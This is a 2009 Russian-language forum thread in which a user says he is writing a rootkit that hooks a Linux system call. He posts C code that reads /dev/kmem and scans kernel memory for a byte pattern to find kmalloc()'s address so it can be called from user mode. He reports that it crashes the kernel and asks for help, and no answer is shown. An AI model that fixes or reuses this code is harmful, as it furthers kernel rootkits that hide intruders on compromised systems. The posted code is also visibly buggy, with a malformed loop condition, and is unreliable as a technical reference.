Проблема с kmalloc()

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by 4ek, 4 Apr 2009.

  1. 4ek

    4ek New Member

    Joined:
    4 Apr 2009
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    Доброго дня суток.
    Пишу программу под nix (дистр - слака 12.1), обычный руткит, перехватывающий системный вызов.
    Встал вопрос о том, каким образом найти адрес функции kmalloc(), чтобы вызвать по найденному адресу из user-mode.
    Используется следующая функция, но почему то она находит адреса (причем куча) только после 0xc1######, хотя как мне кажется все системные функции должны находится в интервале от нижней границы 0xc0000000 до 0xc1000000.
    Code:
    unsigned long get_kma()  
    {
      	unsigned int i;  	
                 unsigned char buf[0x10000], *p, *p1;  	
                 unsigned long ret;  	
                 char c;  	  	
                 kmem = open("/dev/kmem", O_RDONLY);         
                    if (kmem<0) return 1;                    
                 for (i = page_offset+0x100000; i<(page_offset; 0x10000000); i+=0x10000)          
                 {
          		readkmem (buf,i,sizeof(buf));
          		//printf("%s\n",buf);
          		//c = getc(stdin);
          		p1 = (char*)memmem (buf, sizeof(buf), "\x68\xf0\x01\x00",4);
          		if (p1)
          		{
          			printf("kmalloc() is found!!!\n");
          			p = (char*)memmem(p1+4, sizeof(buf), "\xe8",1)+1;
          			if (p)
          			{
          				//close (kmem);
          				//return *(unsigned long *)p+i+(p-buf)+4;
          				printf("----0x%x\n", *(unsigned long *)p+i+(p-buf)+4);
          				c=getc(stdin);
          			}
          		}
              }
              close(kmem);
      	return 0;
    }
    Пытался собственно вызвать один из полученных адресов - ядро улетает, приходится перезагружаться. В чем может быть проблема, почему не находит адрес kmalloc()?
     
  2. 4ek

    4ek New Member

    Joined:
    4 Apr 2009
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    неужто ни у кого никаких идей нет? (
    если что вот функция kmemread:
    Code:
    static inline void readkmem (void *m,unsigned off,int sz) 
    {
             if (lseek64(kmem,(unsigned long long) off,0)!=off){
                     perror("kmem lseek"); exit(2);
             }
             if (read(kmem,m,sz)!=sz) {
                     perror("kmem read"); exit(2);
             }
     }